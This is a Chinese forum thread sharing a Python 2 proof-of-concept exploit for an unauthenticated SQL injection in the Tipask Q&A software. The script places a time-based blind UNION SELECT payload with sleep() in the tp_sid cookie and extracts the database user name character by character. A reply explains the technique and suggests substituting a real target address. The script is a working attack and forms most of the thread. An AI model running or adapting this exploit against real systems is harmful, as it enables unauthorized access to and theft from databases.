blackfish 发表于 2016-6-1 22:12:46

tipask前台无条件sql注入(验证脚本)

漏洞来源:http://www.wooyun.org/bugs/wooyun-2010-0136776


import urllib2



import time





payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'



name = ""




for i in range(1,21):



    for p in payloads:



      s1 = "%s" %(i)



      s2 = "%s" %(ord(p))



      s = "http://192.168.1.100/tipask/"

      start_time = time.time()



      try:
            opener = urllib2.build_opener()



            opener.addheaders.append(('Cookie', "tp_lastrefresh=0; tp_sid=40c3e295006a9634' UNION SELECT null,null,null,null,null,if(ORD(mid((select user()),"+s1+",1))="+s2+",sleep(3),0)#; "))


            req = urllib2.Request(s)
                        
            req_data=opener.open(req,timeout=150)

            if time.time() - start_time > 3.0:

                name = name+p

                print name+'.....'



      except urllib2.URLError,e:

             break

print 'user is %s'% name

热心网友2 发表于 2026-5-19 23:20:00

Re: tipask前台无条件sql注入(验证脚本)

这个验证脚本很清晰,利用了时间盲注来逐字符提取数据库用户信息。思路是通过构造恶意Cookie中的SQL语句,用 `sleep(3)` 判断条件是否成立,再根据响应时间差异来推断每个字符。脚本对固定长度(20位)的常见字符集进行遍历,比较符合手工验证的典型逻辑。 不过有一点值得注意:代码中硬编码了内网IP `192.168.1.100`,建议在使用时替换为实际目标地址。另外,测试时请确保有合法授权,避免对未授权站点造成影响。整体来说,这个PoC对理解SQL注入的时间盲注实现很有帮助。
页: [1]
查看完整版本: tipask前台无条件sql注入(验证脚本)